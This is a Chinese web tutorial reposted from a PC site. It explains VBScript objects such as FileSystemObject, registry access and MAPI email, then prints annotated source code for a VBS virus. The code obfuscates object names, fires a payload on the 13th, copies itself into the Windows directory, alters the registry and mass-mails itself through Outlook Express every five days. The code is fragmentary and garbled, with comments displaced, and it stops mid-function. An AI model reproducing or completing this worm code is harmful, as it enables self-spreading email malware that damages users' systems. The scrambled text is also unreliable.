vbs病毒_中了vbs病毒会怎么样_vbs病毒专杀软件

Createobject('Scripting.FileSystemObject')就能请这来个好助手。它支持的方法中，有几个这里简单介绍一下。FileExsits()是判断文件是否存在，存在返回 True，否则返回 False；GetSpecialFolder()根据参数不同可以得到一些有关系统的目录，比如 GetSpecialFolder(0)返回的是Wind ows 的目录；GetFile 是从文件系统对象中返回一个文件；Copy 实现的是文件的拷贝。 Shell对象也是一个非常有用的东西。它的 RegRead 和 RegWrite 方法可以实现对注册表的直接 读写。 Dirctionary对象对象等价于 PERL 联合数组，存储数据键和项目对的对象。目可以是数据的任 整数或字符串，但也可以是除数组以外的任何类型。比如：Dim d ' 创建变量。 何形式，并存储在数组中。每个项目都与一个具有唯一性的键相联。该键用于取得单个项目，并且通常是

Set d = CreateObject('Scripting.Dictionary') d.Add 'a', 'Athens' '添加一些关键字和项目。

d.Add 'b', 'Belgrade' d.Add 'c', 'Cairo' 最后要介绍的是 MAPISession 对象和MAPIMessages 对象。这两个对象在下面的代码中是用来 取得当前 OE 的配置文件并发送 Email的。MAPISession 对象用于登陆并且建立 MAPI 会话，它也可以用 于退出 MAPI 会话。而 MAPIMessages对象则可以方便地发送、接收和管理消息(也就是 Email)。vbs病毒MAPIS ession 的 SignOn 方法所作的事情是登陆用户到由UserName 和 Password 属性指定的账户中，而在安装 了 OE 的计算机上，UserName 和 Password实际上默认是 OE 里面的配置。MAPIMessages 的几个属性 我将在代码中给出注释。 第 3 部分：VBS病毒的源代码以及注释 On Error Resume Next '这句很重要，避免出错时弹出提示 Dim Fso,WinPath 'WinPath 存放的是系统的安装目录 Set Fso= Createobject('Scripting.' &'FileSys' & 'temObject') '创建 FileSystemObject 对象WinPath=GetWindowsPath '取得系统的安装目录 Main '调用主执行子程序 Set Fso=NothingSub Main Dim Read,RegPath

If Day(Date)=13 Then DoSomeBadThings CopySelfToWindowsPathCopyWscriptToSystem32 ModifyReg RegPath='HKCU\SoftWare\Microsoft\'期

'如果是 13 号，则病毒发作 '把自己拷贝到系统安装目录

'把 Wscript.exe 拷贝到 System32 目录 '修改注册表 '这里的注册表存放的是上次发送 Email的日

Read = ReadReg(RegPath) If Read='' Then Read='00-1-1' IfDateDiff('d',Read,Date)>=5 Then SendEmail WriteReg RegPath,DateEnd If End Sub Sub CopyWscriptToSystem32 '这个子程序把 Wscript 拷贝到Sytem32 目录下 '为什么要这样做将在后面解释 If Fso.FileExists(WinPath &'\Wscript.exe') Then Fso.GetFile(WinPath &'\Wscript.exe').Copy(WinPath & '\System32\Wscript.exe')'这行代码实际上有两个动作 '首先是执行 GetFile 方法，得到一个文件 '然后执行 Copy 方法，把得到的文件复制到指定目录End If End Sub Function GetWindowsPath() '如果没有发送过 Email'如果距上次发送的时间超过 5 天 '发送 Email '把这次的发送日期写入注册表

本文来自电脑杂谈，转载请注明本文网址：
http://www.pc-fly.com/a/jisuanjixue/article-24864-1.html